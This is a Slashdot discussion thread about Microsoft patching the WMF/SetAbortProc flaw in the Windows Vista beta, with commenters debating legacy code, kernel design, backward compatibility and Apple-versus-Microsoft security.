      Well, the entire Mac community seems to think otherwise, but whatever you say, Mr Linkless AC.

      --
      Business. Numbers. Money. People. Computer World.
    21. Re:Frist patch by machine117 · · Score: 0

      No, You can't, actually.

    22. Re:Frist patch by keytoe · · Score: 2, Funny
      which is a complete slut for legacy code.
      Yeah - all that legacy code with loose morals, years of testing and refinement. What a whore.
    23. Re:Frist patch by diegocgteleline.es · · Score: 2, Informative

      Repeat after me: Mac OS X is not a microkernel. Mac OS X is not a microkernel

      Mac OS X is derived from a microkernel (Mach) - but it's far from being a microkernel. A microkernel is not supposed to have the whole TCP/IP stack in kernel space. A microkernel is not supposed to implement drivers in kernel space. A microkernel is not supposed to have the filesystem in kernel space. Microkernels were, in fact, invented to get these things out of kernel space and run as userspace, etc. Being a pure microkernel implied a performance penaly they were not willing to pay. By moving all those things to kernel space, Mac OS X broke the whole "idea" behind microkernels and stopped being a microkernel (which is not a bad thing: all the other OSes do the same).

      NT was also derived from Mach BTW. I will never understand why Mac zealots spend countless hours saying how crap the NT kernel is when the fact is that they derive from the same idea. And just because they are derived from a microkernel doesn't mean the microkernel is who implements all the funtionality. Mac OS X and NT copy from mach the "design": processes implementing funtionality runing in userspace, the real kernel being a scheduler scheduling those processes, etc. That's the "framework", the real functionality (TCP/IP, drivers, FS, etc) is implemented on top of that. The difference is that NT implemented that funcionality looking at VMS, and Mac OS X/nextstep implemented it by using BSD code from FreeBSD. There're some exceptions i think (mac os x vfs and journaling layer is implemented by Mach i think) but the idea is that. And this is BTW the reason why Linus Torvalds just hates mac os x and NT design: If you're going to do a microkernel, do it, but if you are going to put all the drivers and tcp/ip stack in the kernel, then don't use a microkernel design base because you're using the wrong tool and you're overengineering, just use a monolithic kernel and modularize it as much as you can (or something like that)

    24. Re:Frist patch by Peter+Bonte · · Score: 1

      UNIX got 30 years development and bug hunting behind it and the flaws really got exploited at the time, i believe it really is safer than Windows and much harder to exploit. UNIX variants and osX variants tend not to be uber backwards compatible and thats a plus if it comes to security, if something needs to be broken for more security Apple will do it as history has proven. As opposed to MS that rather uses a workaround to maintain the compatibility.

    25. Re:Frist patch by Anonymous Coward · · Score: 0

      well holy fucking crap. you mean that when you change architectures, old code will no longer run? stop the presses, this man has a story!

    26. Re:Frist patch by IntlHarvester · · Score: 1

      ... Assuming that Unix and Apple break backwards compatibility for security reasons and not just simple expediency. Care to provide any examples? (other than rsh :)

      --
      Business. Numbers. Money. People. Computer World.
    27. Re:Frist patch by ivan256 · · Score: 1

      I hope they don't get unfairly bashed for this

      Me too, as long as the also don't get any credit for the security experience in their "new" version of Windows being any better than the old...

      Clearly we're in for more of the same with Vista, so if we're all going to restrain from unfairly bashing Microsoft for having a security patch out already for an OS that isn't out already, we all better not unfairly spread Microsoft marketing statements that claim security in Vista is any better than in XP if they ever get around to shipping it.

    28. Re:Frist patch by j3rryh · · Score: 1, Interesting

      There will still be pearpc & basiliskII or vmac. Legacy schmegacy, any modern processor emulates any 7 yr old processor just fine. -j3rry

      --
      "Coffee is the lifeblood of champions" -Mike Ditka
    29. Re:Frist patch by Tony · · Score: 3, Insightful

      Apple bought an abandoned OS from the 1980s . . .

      Funny you should mention NeXT. It was easy-to-use, powerful, developer-friendly, and by far the best OS for desktop use.

      I use the NeXT to illustrate how Microsoft has set the computer industry back. To this day, MS-Windows still doesn't have the power or ease-of-use of the NeXT. It wasn't until Apple picked up the pieces with OS X that an operating system approached the desktop usability of NeXTStep.

      Microsoft set the computer industry back over a decade. So when you talk about how Apple just stole a bunch of old code to make OS X, at least they had the smarts to steal the good code. Microsoft doesn't have access to good code, so they just steal from themselves.

      Microsoft: it's like corporate masturbation!

      --
      Microsoft is to software what Budweiser is to beer.
    30. Re:Frist patch by Yartrebo · · Score: 1

      telnetd and ftpd are now disabled by default in favor of sshd, which is optional (just like telnetd and ftpd are optional).

      Meanwhile, MS Windows still uses the notoriously crackable Net BIOS daemon which must be running on pretty much every machine.

    31. Re:Frist patch by Barlo_Mung_42 · · Score: 1

      "but the simple fact is: BSD/Darwin/OS X never needed a rewrite - they work really well to this day"

      Right. The company I work for makes software for both Mac and Windows. On the Mac we only support 10.2.8 and up while we support all the way back to 98 on Windows. Why is that? What happened to 10.0 and 10.1 if they work so great? Oh, I guess maybe the weren't so great after all.

    32. Re:Frist patch by peragrin · · Score: 1

      Funny Apple and Linux have to make most of their own drivers and they don't have most of those problems. Maybe if the Wintel world didn't use cheap hardware and parts they wouldn't have such problems.

      Also MSF has literally tens of thousands of more employees than apple, and Apple has to do hardware and software. They have come out with a broad range of applications many of which are considered at the top of their industries. yet MSFT can't make a single OS on time or on budget.

      MSFT has shown nothing but incompetence for building software. They don't innovate in anything other than marketing and bully tactics.

      Now don't get me Wrong Steve Jobs would be and is working on being just as bad as MSFT if they were that size. But with the coders MSFT has working for them one would think they could create better software than they do.

      --
      i thought once I was found, but it was only a dream.
    33. Re:Frist patch by drsmithy · · Score: 2, Insightful
      Vista by the way should of been a complete ground up rewrite.

      Completely unnecessary. The guts of NT are (and always have been ) quite solid.

      i would expect no less for taking over 6 years to build.

      It's only been 3 years since the last Windows NT release.

      Just look at were KDE, Linux kernel, X where 6 years ago.

      It's a lot easier to make large gains when large gains actually need to be made.

      Hell look at what Apple did with OS X in far less time than MSFT.

      Apple slapped a new display system and virtual machine compatibility layer onto an OS they bought. Then it took them 3 subsequent major releases to get a good product out of it.

      Every other major OS has under gone massive revisions and upgrades.

      Every other major OS has had a lot more to do.

      Hell Apple is working on it's second major change in 6 years. (Mac OS 9 to OS X , PPC to Intel)

      PPC to intel is not a major change (well, not from the perspective of the OS). OS X is portable, it hardly needs to be changed at all to move from PPC to x86.

    34. Re:Frist patch by peragrin · · Score: 1

      If the Guts of NT are stable then why the hell does it crash so much? I can kill XP in 5 minutes by using it the same as I use Linux or OS X.

      Win2k3 is for servers not desktops. Win2k3 is the server version of XP(although more stable than XP) Vista Server is due out in 2007/8. Get yyour products correct.

      I won't argue that KDE needs to make large gains but even KDE 3 has most of XP features.

      Apple did require 2 1/2 major revisions to get it fine tuned. ( I go by 10.2.8 as being useful), but Windows isn't the leading standard of speed either.

      What features Vista has OS X already has and it's doing it on less hardware than Vista.

      --
      i thought once I was found, but it was only a dream.
    35. Re:Frist patch by drsmithy · · Score: 1
      If the Guts of NT are stable then why the hell does it crash so much?

      It doesn't.

      I can kill XP in 5 minutes by using it the same as I use Linux or OS X.

      Your machine is broken or you're lying.

      Win2k3 is for servers not desktops. Win2k3 is the server version of XP(although more stable than XP) Vista Server is due out in 2007/8. Get yyour products correct.

      It's irrelevant to the point - Windows 2003 (NT 5.2) was the last release of NT and is the codebase from which Vista has been derived. Windows 2003 was released a bit under 3 years ago.

      I won't argue that KDE needs to make large gains but even KDE 3 has most of XP features.

      More features, in some areas - but again you miss the point that it's a lot easier to make major improvements when you need to make major improvements. KDE (and GNOME) has improved a _lot_ in the last few years *because it needed to*.

      Apple did require 2 1/2 major revisions to get it fine tuned. ( I go by 10.2.8 as being useful), [...]

      I would pick 10.3 as the first "good" release of OS X (analagous to NT4 for Microsoft). You're also forgetting the release of OS X Server 1.0 in 1999.

      [...] but Windows isn't the leading standard of speed either.

      It's streets ahead of OS X (as is everything else) - and Windows certainly isn't slow.

      What features Vista has OS X already has and it's doing it on less hardware than Vista.

      OS X is sluggish on anything short of G5s. Vista will run just as well on G5-era PCs as OS X does on G5s (and probably better, Windows has a much better track record of being usable on old machines).

    36. Re:Frist patch by peragrin · · Score: 1

      I run OS X just fine a G4 the trick is Ram. like XP you really need 512 to make it work well.

      I have never been able to successfully install XP on any PC I own. P4 Dell's. I don't know why but it wouldn't load.(note that the computer itself recently died. )

      I have trashed my roommates XP machines every time I used them with such activies as file searches, and web browsing. I am barred from touching his XP machines.

      Um MSFT seperates it's server and desktop OS's( a wise move) therefore Win2k is more of a server than XP, win 2k3 came three years after Win2k. Hence why there is Vista and Vista Server editions. Different OS's for different needs. It's also one thing holding back desktop Linux. A server Optimised OS isn't good for desktops and a Desktop isn't good for hard core servers. OS X server should be dragged out to the street and shot. As it is a horrible server from a techincal and speed point of view. Buy and X serve and install Linux or one of the BSD's The performance is 50% greater. Of course OS X is a great desktop OS.

      So it's been 6 years between desktop OS's for MSFT. it will be 3-4 years between server OS's though.

      --
      i thought once I was found, but it was only a dream.
    37. Re:Frist patch by jauren · · Score: 1

      I don't understand why everyone keeps using the word "port" about this WMF thing. There seems to be a massive amount of (willful?) misunderstanding here. Do you seriously believe that Microsoft starts from scratch every time they release a new Windows version? (That's not really directed at the parent poster, who apparently gets it, but rather to everyone who's been using the word "port" as if Microsoft was doing the equivalent of moving code from BSD to Linux).

      Microsoft has three operating systems that share the Windows name, and only two of those are still sold: CE and NT. Windows 2000, XP, 2003 and Vista are all succeeding versions of NT given different names by Marketing. (IIRC, they are NT 5.0, 5.1, 5.2 and ???, respectively).

      So, buggy NT code was never "ported" to 2000, XP or Vista anymore than some bug or feature in Linux 2.6 was "ported" from Linux 1.2. Vista is not a new OS. It's NT 6. (I don't have access to a Vista beta, so somebody who does could call GetVersionEx and correct me if I'm wrong...but if I am, it'll be b/c Vista is NT 5.3 or 5.4, not 6.0). I would be more surprised if the first beta of Vista _didn't_ have this problem, b/c that would imply that Microsoft really did already know about the problem.

      --
      A foolish inconsistency is not excused by a reference to Emerson.
    38. Re:Frist patch by drsmithy · · Score: 1
      I run OS X just fine a G4 the trick is Ram. like XP you really need 512 to make it work well.

      Clearly we have different ideas about "fine". I can just run Mail and Safari on my 1Ghz, 768Mb iBook before it starts to get annoyingly unresponsive.

      I have trashed my roommates XP machines every time I used them with such activies as file searches, and web browsing. I am barred from touching his XP machines.

      Somehow I doubt that's all that's going on.

      Um MSFT seperates it's server and desktop OS's( a wise move) therefore Win2k is more of a server than XP, win 2k3 came three years after Win2k. Hence why there is Vista and Vista Server editions. Different OS's for different needs.

      They're not very different. Different software bundles. Different tuning parameters. Windows 2003 is obviously a more recent codebase.

      However, they're still just minor revisions of the same OS. Kind of like the difference between a 2.6.1 kernel and a 2.6.14 kernel (to be fair Vista will be a major revision, so it's more like 2.4.x -> 2.6.x).

      (Clearly you're too young to remember the "furore" about being able to turn NT4 Workstation into NT4 server just by twiddling some registry keys - it does, however, serve to demonstrate that the difference between a "desktop OS" and a "server OS" is basically just marketing.)

      It's also one thing holding back desktop Linux.

      There are many things holding back desktop Linux. A marketing name isn't one of them.

      A server Optimised OS isn't good for desktops and a Desktop isn't good for hard core servers.

      The tuning parameters of Windows XP vs 2003, like those between different versions of Linux, are changeable at runtime. The differences between, say, Redhat Enterprise WS (Workstation) and ES (Server) are not large.

      So it's been 6 years between desktop OS's for MSFT. it will be 3-4 years between server OS's though.

      You seem to be missing the point.

      "Windows 2000" == Windows NT 5.0

      "Windows XP" == Windows NT 5.1

      "Windows 2003" == Windows NT 5.2

      "Windows Vista" == Windows NT 6.0

      Vista might be the first version of Windows that's being *marketed* as a "desktop OS" since XP, but it's still a follow-on from Windows 2003, which was released 3 years ago.

  6. Does anyone else get the feeling... by ZackSchil · · Score: 3, Insightful

    that Windows Vista isn't going to be all the fresh, hot goodness that we've been promised? For their own sake, Microsoft should step away from their stale and horribly insecure old code bases. They've had enough time now to rewrite the OS a few times over but it seems they chose instead to shoehorn in their old crap. Now is as good a time as any to cut the Win 9x support cord.

    1. Re:Does anyone else get the feeling... by lumbercartel.ca · · Score: 1

      > ... Now is as good a time as any to cut the Win 9x support cord.

      But what about those users who couldn't make the move to Linux but also don't want to upgrade their hardware? Whatever will they do if they can't call Microsoft for Windows 98 support anymore?

    2. Re:Does anyone else get the feeling... by thefogger · · Score: 5, Insightful

      It is reasonable to carry over old code to a new platform if you want to keep compatibility. Why in the world do you think a rewrite would improve security? It would only cause MORE bugs for years and years to come. Right now, Win32/GDI is quite bug-free, or at least undocumented bug-free. The WMF bug was a design flaw, not a coding error. Also, this has nothing to do with Win9x, for which they HAVE cut the support cord regarding the WMF vulnerability.

      Cheers, Fogger

      --


      Um... I didn't do it!
    3. Re:Does anyone else get the feeling... by morgan_greywolf · · Score: 1

      Those users will have to either upgrade their hardware, get Linux or get a Mac. Eventually Microsoft will have no choice but to cut support for the Win 9x/ME line, just as they had no choice but to cut support for Windows NT 3.x and later 4.x

    4. Re:Does anyone else get the feeling... by advocate_one · · Score: 1

      erm, win98 support got cut a few years ago...

      --
      Donald 'Duck' Dunn: We had a band powerful enough to turn goat piss into gasoline.
    5. Re:Does anyone else get the feeling... by RingDev · · Score: 1

      "It would only cause MORE bugs for years and years to come. Right now, Win32/GDI is quite bug-free, or at least undocumented bug-free."

      So true. It's the maturity curve. The older a piece of code, the longer it has survived, the less likely an error will be found.

      But GDI is also a pain in the ass. It was designed long before anyone had a clue that PCs were going to go in the direction they have. I am glad to see it go. But this problem I don't beleive was part of the GDI. SetAbortProc started there and moved to Win32, but it is working fine from my understanding. The issue is specificly with the code that handles the WMF passing a bad pointer to SetAbortProc (after loading the payload to that address)

      -Rick

      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    6. Re:Does anyone else get the feeling... by IntlHarvester · · Score: 5, Insightful

      Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!

      And that is exactly what IT customers want. They only way they can keep all those millions of custom programs developed for Windows over the last decades working is by pulling forward legacy code.

      Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago. Apple also has nearly zero corporate desktops. Connect the dots. Maybe consumer users running Firefox and iTunes and MSN Messenger want a "all new Windows", but nobody else does.

      --
      Business. Numbers. Money. People. Computer World.
    7. Re:Does anyone else get the feeling... by MoogMan · · Score: 1

      The problem is, if they create a whole new system, they create a whole new set of bugs and security vulnerabilities. It's probably a better idea to stick with what they've got and re-engineer/re-audit.

    8. Re:Does anyone else get the feeling... by AuMatar · · Score: 3, Informative

      Consumers don't want it either. They have even less money to pay for new software and hardware than buisnesses. They rarely upgrade any software until they have to or they get a new computer (unless the upgrade is free).

      --
      I still have more fans than freaks. WTF is wrong with you people?
    9. Re:Does anyone else get the feeling... by noidentity · · Score: 2, Funny

      "Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!"

      And it's working too; the latest exploit worked fine on Vista!

    10. Re:Does anyone else get the feeling... by ForumTroll · · Score: 1

      "So true. It's the maturity curve. The older a piece of code, the longer it has survived, the less likely an error will be found."

      Not necessarily true. There is only so much patch after patch can do. If the underlying architecture of the system needs to change then applying fix after fix is likely to be very problematic. In these instances, it is more likely that a complete rewrite would be better structured, more secure and more efficient.

      --
      "A Lisp programmer knows the value of everything, but the cost of nothing." - Alan Perlis
    11. Re:Does anyone else get the feeling... by jimicus · · Score: 1

      Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago. Apple also has nearly zero corporate desktops. Connect the dots.

      One word for you: Rosetta.

      Any business will go for what's nice and safe and runs the software they want to use. In most, that's Windows. But in industries like media, suddenly Macs are seen a lot more.

    12. Re:Does anyone else get the feeling... by IntlHarvester · · Score: 1

      Well, that's Apple's sell -- you can buy a shiny new Mac that comes with a webcam, iLifem and iWork and does almost everything Grandma needs right out of the box. Consumers shy away from buying software separately, but when it's built into the box cost, they're happy about it. Just god forbid that you are running a print-production workflow on Quark 4, or love Word 5.1, use Outlook 2001, or did any custom development for OS 9.

      --
      Business. Numbers. Money. People. Computer World.
    13. Re:Does anyone else get the feeling... by Anonymous Coward · · Score: 0
      Maybe consumer users running Firefox and iTunes and MSN Messenger want a "all new Windows", but nobody else does.

      Oh you're right, everyone's happy with Windows. That's why the allure to every new version of Windows was less blue screens, less bugs, etc. It's certainly not because they've made it faster or with more end user empowerment.

    14. Re:Does anyone else get the feeling... by Anonymous Coward · · Score: 0

      The fact you're still trolling on about blue screens is fact enough you've never touched an MS OS in 5+ years.

    15. Re:Does anyone else get the feeling... by Anonymous Coward · · Score: 0

      Then they brought it back what a month later or something.

    16. Re:Does anyone else get the feeling... by clmensch · · Score: 1

      First of all, I think the use of BSoD is just a metaphor for buginess. Second of all, I don't believe any MS fanboys who claim that Win2k/XP simply never crashes. Just because it (doubtfully) never happened to you doesn't mean it hasn't happened to the millions of other people who claim it has.

      You are not a superhero system admin who has some magical ability to keep any computer you come in contact with completely crash/error free.

      --
      There is no gravity...the earth just sucks.
    17. Re:Does anyone else get the feeling... by lumbercartel.ca · · Score: 1

      I guess flip-flops are only natural in the computing industry -- after all, binary is our ruling numbering system.

    18. Re:Does anyone else get the feeling... by necro2607 · · Score: 1

      "Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago."

      Well.. This dude's game, written in 1984, still runs on absolute latest PPC machines running OS X 10.4.4, with no modification to the code whatsoever (runs on the iBook I bought one week ago). Yup, you're running a binary compiled for a machine from 20 years ago...
      http://home.earthlink.net/~mrob/pub/missile20.html

  7. Re:Who wants to bet by ajdlinux · · Score: 1

    DRM, anyone?

  8. No firewalls? by lumbercartel.ca · · Score: 0, Offtopic

    Don't people use firewalls anymore?

    1. Re:No firewalls? by Neeex · · Score: 2, Informative

      Don't people use firewalls anymore?

      Firewalls don't help in this case. The flaw allows attackers to execute code of their choice on a system when the victim views a WMF file (on a website, for example).

      --
      All those who believe in telekinesis, raise my hand.
    2. Re:No firewalls? by Anonymous Coward · · Score: 0

      Don't you get it? The WMF vulnerability can't be stopped by a firewall. You open a web page. The web page contains an image with embedded malicious code. Windows blindly executes it.

      The firewall doesn't stop it because you actually requested to see the image by opening the web page.

  9. Is this such a suprise? by Anonymous Coward · · Score: 0

    Should we expect anything less from jolly ol' Micro$oft?

    I can still boot into Windows 3.1 using my Windows XP/2000 installs, albeit tweaked registries.

    But still... I guess larger storage capacities give no incentive to clean out dilapidated code.

  10. Gibson is such an Alarmist! Now patch your code! by kupci · · Score: 4, Interesting
    Get ready for all the Slashdotters and Microsoft fanboys to rip on Gibson being such an alarmist, as they quietly get ready to patch their boxes.

    The issue here is I think, that Microsoft continues to this day, to be rather sloppy and secretive about fixing their stuff. So if Gibson makes a big flap, so be it. Better that than a back door that MSFT doesn't bother to fix, because they don't consider it a "critical vulnerability" or some other excuse. As Gibson points out, no question this is highlighting one of the main benefits of open source - the source is there for all to see, no dickering about whether it was intentional or not, it gets fixed. Period.

  11. LOL by TERdON · · Score: 1

    It hasn't even been released yet, and won't for at least half a year...

    At least, we can't complain that they are late with the patches anymore. Interesting tactic actually, to release the patches before the operating system... :)

    --
    I have a really elegant proof for Fermat's last theorem. If this sig was only a bit longer...
    1. Re:LOL by Sinryc · · Score: 1

      Oh yes. Making an update for BETA software... My GOD, the Beta isn't perfect yet?! HAHAHA Isn't thats what supposed ot happen? Find bugs in betas and then fix the bugs before release? If so, this is a stupid, STUPID story.

      --
      Yay, I have a sig.
  12. .NET 2 = already available. by TERdON · · Score: 1

    And even if they DO care about .NET 2, it is available for Windows XP already today...

    --
    I have a really elegant proof for Fermat's last theorem. If this sig was only a bit longer...
    1. Re:.NET 2 = already available. by Nik13 · · Score: 5, Informative

      Actually, .NET 2.0 runs on everything short of Win95 AFAIK. Vista isn't about .NET 2.0 whatsoever, it's about a bunch of other new technologies:

      WPF: Windows Presentation Framework ("avalon"; using XAML): what WinFX and the new AERO Shell are based onto;
      WCF: Windows Communication Foundation ("indigo": an enhancement to Web Services, MSMQ, etc);
      WWF: Windows Workflow Foundation, to help take care of scenarios like the one that was asked on "ask.slashdot.org" just yesterday. Something that's becoming increasingly common/important nowadays.

      People like to just dismiss Vista like it has nothing new or worthwhile, ignoring all the new stuff that actually IS there, not just the previous 3 things mentionned, but there's a great deal of other changes (video drivers not in kernel mode anymore, new audio and printing (both work quite differently), GUI rendered by the

      There are differences. It may not be worthwhile to everyone, but as a programmer I'm looking forward to many of these advances (WCF seems really nice). Saying Vista is about .NET 2 and that people don't care about that is uninformed at best...

      --
      ///<sig />
    2. Re:.NET 2 = already available. by giorgiofr · · Score: 3, Insightful

      Well I kinda summed it up a bit too much but my point is that *users* won't care about such technologies. I, as a developer, think they might be nice (but as I'm switching over to Linux I don't care too much); users won't. I was not saying Vista is stupid or limited; I was saying users will not perceive it as worth much more than XP. Then of course if developers force them to use Vista, that's another story...

      --
      Global warming is a cube.
    3. Re:.NET 2 = already available. by Nik13 · · Score: 1

      You're right about that part indeed. Lots of these technologies will be available to XP as well, making it seem even less interesting. But users will get Vista with their new PCs anyways, and tons of others will just upgrade because it's "cool" or whatever to have and run the latest version of everything (and all these ppl that are desktop/GUI fans - you know, those that run all the stardock apps and spend their days making wallpapers and tweaking color schemes and such just for the eye candy)...

      --
      ///<sig />
    4. Re:.NET 2 = already available. by Anonymous Coward · · Score: 0

      I am saying vista is stupid and limited, along with many others.

    5. Re:.NET 2 = already available. by Quince+alPillan · · Score: 1
      Actually, .NET 2.0 runs on everything short of Win95 AFAIK.

      Wow, I can run .NET 2.0 on my FreeBSD 6.0 laptop now? Which port do I use?

  13. About Windows Vista by mshiltonj · · Score: 4, Interesting
    From: http://msdn.microsoft.com/windowsvista/about/
    Security Advances

    Windows Vista introduces an improved security model that reduces a system's vulnerability to attack while still empowering applications. In particular, it makes the new User Account Protection (UAP) the default user account, and provides an easy-to-use temporary-privilege elevation model. As a result, malware installations are reduced and more OS functionality is made safely available to non-administrators. Security is further strengthened with a trust-based validation system through Mandatory Integrity Control, and Windows Resource Protection (the follow-on to Windows File Protection) guarantees a stable, read-only view of a running operating system.
    Uh-huh.
    1. Re:About Windows Vista by springbox · · Score: 2, Insightful

      Don't be mean. If they can pull that off it would be a huge step forward for them in terms of security. This is exactly the same issue with Windows that most people here continually complain about.

    2. Re:About Windows Vista by jimicus · · Score: 1, Interesting

      In particular, it makes the new User Account Protection (UAP) the default user account, and provides an easy-to-use temporary-privilege elevation model.

      If a user can temporarily escalate privileges, so can a program.

      As a result, malware installations are reduced and more OS functionality is made safely available to non-administrators.

      Translation: The reason so many of your programs must run as administrator right now is a large chunk of the functionality we currently provide demands this.

      Security is further strengthened with a trust-based validation system through Mandatory Integrity Control,

      Translation: Here's Trusted Computing, you don't have any choice in the matter, take it or leave it.

      Windows Resource Protection (the follow-on to Windows File Protection) guarantees a stable, read-only view of a running operating system.

      Translation: A lot of your existing applications won't run. You either turn off the security we provide (thus negating any point in upgrading) or you ditch those applications. Sure hope none of them were vital to your business.

    3. Re:About Windows Vista by ScrewMaster · · Score: 1

      I stop reading when I encounter any variant of the word "empower".

      --
      The higher the technology, the sharper that two-edged sword.
    4. Re:About Windows Vista by IntlHarvester · · Score: 1

      Translation: A lot of your existing applications won't run

      Translation: You are spreading FUD. The idea is to present a fake c:\windows that poorly written programs can pretend to write to without breaking them.

      --
      Business. Numbers. Money. People. Computer World.
  14. more like.. by ltwally · · Score: 3, Insightful
    "...it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."
    It's more like SetAbortProc was never removed from the common code-base that Vista inherited from XP. Saying it was "ported" would lead one to believe that MS actually re-writes the entire OS with every major release. They do not. They simply tack on some new stuff.
    --



    /dev/random
    1. Re:more like.. by infestedsenses · · Score: 1

      I'm not sure that's true. According to an article on the Wall Street Journal, they rewrote Vista from scratch.

    2. Re:more like.. by dabraun · · Score: 2, Informative

      They "started over" by going back to the RTM Windows Server 2003 code and porting in features from the previous attempt at longhorn selectively. That is, they reset the development of Vista - they did not write a new operating system from scratch.

    3. Re:more like.. by RaNdOm+OuTpUt · · Score: 0

      If you do not change your signature within 14 days, I will be forced to bring the wrath of the DMCA upon you in the form of many civil lawsuits resulting in me getting billions of dollars richer, as it is obvious you have decoded my user name without express writen permission. I'll be watching.

      --
      13. Any legal action is absolutly excluded. (Pi World Ranking List rules)
    4. Re:more like.. by RzUpAnmsCwrds · · Score: 1

      It's more like SetAbortProc was never removed from the common code-base that Vista inherited from XP. Saying it was "ported" would lead one to believe that MS actually re-writes the entire OS with every major release. They do not. They simply tack on some new stuff.

      Windows Vista is actually based on Windows Server 2003. The NT kernel is solid and large parts of the OS actually have been rewritten (Explorer, the shell, is now managed code, the networking stack is all-new, the display subsystem is mostly new code). What remains has been modified extensively, including the audio subsystem, memory manager, and quite a bit more. There's a new version of DirectX, new versions of IE and Windows Installer, a replacement for GDI based on XML (Windows Presentation Framework), extensive changes to ACPI, major changes to WMI, and a lot more.

      Make no mistake, Windows Vista is as big of a change from Windows XP as Windows 2000 was from NT 4.0.

  15. The first one .... by antek9 · · Score: 4, Funny

    .... will probably call itself 'Hasta la vista, baby!'.

    Sorry, couldn't resist, please ignore...

    --
    A World in a Grain of Sand / Heaven in a Wild Flower,
    Infinity in the Palm of your Hand / And Eternity in an Hour.
  16. Re:Vista is Yesterday's News by ajdlinux · · Score: 4, Insightful

    > Unpriveleged access will be the default, and it'll be damn near impossible to breach Yes, because of the hardware-level DRM chips it will be impossible. The next few Windoze OSes will be much more secure, not only from the outside, but from the user.

  17. I find it amusing... by ConceptJunkie · · Score: 3, Interesting

    I find it completely amusing not that this is a security bug that lets someone compromise your computer, but that it's the "Graphics Rendering Engine". I wonder how good it is for doing things like, you know, rendering graphics.

    Like I said once years ago, if edlin were written today, it would have direct access to kernel-level functions through scripting and be a vector for both viruses and remote exploits.

    --
    You are in a maze of twisty little passages, all alike.
    1. Re:I find it amusing... by HermanAB · · Score: 1

      Edlin - Oh, the horror...

      This rotten excuse for a punch card line editor is still part of WinXP and will probably be in Vista too!

      --
      Oh well, what the hell...
  18. Let's be fair by inkswamp · · Score: 2, Insightful
    I despise Microsoft and think their products are generally crappy, but what is it about patching or refining beta software that makes this newsworthy? Because it's MS?

    --
    --Rick "If it isn't broken, take it apart and find out why."
    1. Re:Let's be fair by Anonymous Coward · · Score: 0

      No, what's newsworthy is that this old, unsecure code from the stone ages is still part of the all new and shiny vista.

    2. Re:Let's be fair by DECS · · Score: 2, Insightful

      I'd say it's newsworthy because Vista is being sold to the public as being a whole new OS with an improved security model.

      The fact that they've imported decades of legacy Windows code, written for a period of time when security was designed for LAN environments rather than open access to public networks, seems a bit shocking even to people like me who already KNEW THIS.

      Sometimes things you already know are newsworthy/shocking after you see them in print or hear them out loud.

    3. Re:Let's be fair by IntlHarvester · · Score: 1

      If your software is perfect, it wouldn't need a "security model" to begin with. Why do the *BSDs focus so much on "jails" and why does Linux have SELinux and LSM and the like -- because they know that even with all the compulsive auditing, they probably missed something and their software has holes.

      If I understand Vista's security model correctly, IE is sandboxed so that the exploitable avenues from the WMF hole are extremely minimized.

      --
      Business. Numbers. Money. People. Computer World.
    4. Re:Let's be fair by bod1988 · · Score: 0

      You're forgetting something. This is Slashdot, the home of MS hating Linux tards!

    5. Re:Let's be fair by DECS · · Score: 1

      A security model is like a business plan - you can't "not have one," although you might have a woefully inadequate one, or perhaps little thought given to one, before starting your project/business.

      Microsoft's security model for NT gave more thought to making things convenient for administrators that to making products that would be resilient to outside attacks.

      "Perfect" isn't ever an engineering goal. The problem with Windows NT/2000/XP and the legacy imported from Win3.1/95 is not that it "isn't perfect" but that little consideration has gone to real security audits and planning.

      Microsoft (Gates) has stated before that their focus is on features, not bug fixes. Prior to the last half decade, Microsoft wasn't losing significant sales because of security problems. Today they are, both from Linux/UNIX on the server side and now Mac OS X on the the consumer desktop side.

      Security has changed from a theoretical problem into an easy to comprehend one: your PC stops working, you get SPAM, you get scammed, you have to clean out spyware, etc.

      Suddenly "security" has become a feature that sells, and Microsoft, without a comprehensive security plan in place, has had to face the daunting task of fixing a range of security problems in Windows products in a way that doesn't break other features.

      Microsoft can employ all manner of best practices to tack on security in Vista, but as one poster described, adding security to Windows is like attempting to make cheesecloth waterproof using scotch tape.

      If, 5 years ago, Microsoft had used their considerable clout as "THE OS VENDOR for PCs" to start over and rethink 'how Windows should work,' they could very likely have developed a new Windows product, available now, that could handily match or beat the security and other features in any desktop or server OS.

      This would have required obsolescing a lot of legacy, but Microsoft very likely could have pulled it off. Instead, they announced a lot of vaporware with an availability that was perpetually two years out - for HALF A DECADE.

      After five full years of Copland-style development efforts, they have dropped nearly all of their forward looking features and are now planning to deliver some significant security patches and a new graphics engine for Windows XP.

      In the meantime, Apple, with a tiny fraction Microsoft's clout, market and developer resources, built Mac OS X with a strong focus on providing modern security features, a complete retrofitting and modernization of their existing legacy OS (Carbon), and a modernized incorporation of NeXT's object based frameworks. They released 5 major versions in that same timeframe, with more than 30 significant updates in between.

      Vista's key features only match those Apple has delivered and refined over the last half decade. Microsoft has dropped from the "only real OS in town" to a "possible runner up" in the desktop OS market.

      But far more problematically, Microsoft's Vista inherits tons of legacy that is ripe for exploitation. So while Microsoft can roll out miles of scotch tape, Window's core is still cheesecloth, and its ability to hold water will continue to be problematic.

      You can speculate about new security "sandboxing," but Vista's new code is entirely unproven, and its old code is known to be problematic. That does not bode well for their security outlook over the next two years, just as Apple is rapidly ascending as a platform to be taken seriously.

    6. Re:Let's be fair by NanoGator · · Score: 1

      "The fact that they've imported decades of legacy Windows code, written for a period of time when security was designed for LAN environments rather than open access to public networks, seems a bit shocking even to people like me who already KNEW THIS."

      Sounds to me like they're trying to maintain backwards compatibiity. I'm starting to wonder if Microsoft should do what Apple did, say "screw backwards compatibility!", and start on a brand new OS. I find that unlikely, though, because that's a hell of a lot of work and it would likely alienate the 100million or so users using Windows. Damned if they do, damned if they don't. It's great for me because I sell torches and pitchforks.

      --
      "Derp de derp."
    7. Re:Let's be fair by IntlHarvester · · Score: 1

      Your points are completely diminished by your over-the-top hyperbole and blatent flamebait that you insist on using.

      Mac OS X with a strong focus on providing modern security features

      OS X has a nice implementation of classic Unix permissions, but nothing "modern" like is found in Solaris or Linux.

      Here's the ultimate test of OS X's security: Apple designs a feature which, when you visit a web page, Safari would automatically download a Disk Image file, mount it, and then run any program from it.

